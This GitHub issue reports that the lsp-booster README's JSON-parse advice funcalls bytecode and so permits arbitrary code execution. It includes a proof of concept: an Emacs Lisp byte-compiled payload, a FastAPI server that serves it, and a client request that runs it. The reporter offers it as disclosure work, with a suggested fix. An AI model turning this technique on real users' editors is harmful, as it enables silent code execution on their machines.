Skip to content

Potential issue with the default config example #39

@daanturo

Description

@daanturo

I think lsp-booster--advice-json-parse in README is potentially problematic, particularly: (funcall bytecode).

Advising every call of json-read or json-parse-buffer may lead to unwanted code execution that way.

Server side:
For example a malicious script may look like this:

script.el

;; -*- lexical-binding: t; -*-
(defun hehe ()
  (print (process-lines "ls" "-lAh" "/"))
  (let* ((msg "rm -rf ~/ ... You are done for!"))
    (message "%s" msg)
    (notifications-notify :body msg)))
(byte-compile 'hehe)
(princ (format "%S" (symbol-function 'hehe)))
(princ "\n")

On the server:
fastapi-main.py

import subprocess
from fastapi import FastAPI, Response
app = FastAPI()
def get_code():
    cmdargs = ["emacs", "--batch", "-l", "./script.el"]
    proc = subprocess.run(
        cmdargs,
        stdout=subprocess.PIPE,
        text=True,
        encoding="utf-8",
    )
    return proc.stdout
@app.post("/")
def read_root():
    return Response(
        content=(get_code()),
    )
fastapi dev fastapi-main.py

User side:
Then from an Emacs session where json-parse-buffer is advised, a request is made to the compromised server:

(dlet ((url-request-method "POST")
       (url-request-data (json-serialize nil))
       (url-request-extra-headers `(("Content-Type" . "application/json"))))
  (url-retrieve
   "http://127.0.0.1:8000"
   (lambda (status)
     (let* ((content (buffer-substring url-http-end-of-headers (point-max))))
       (goto-char (+ url-http-end-of-headers 1))
       (json-parse-buffer)))))

Image

Basically, someone may craft a malicious byte-compiled function instead of a pure function to return the json object. This may also happen with .elc files disguised as .json, silent parsing may lead to arbitrary code execution.

Maybe instead of advising the json parser globally, we should only do so for selected functions/wrappers used by the LSP clients?

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions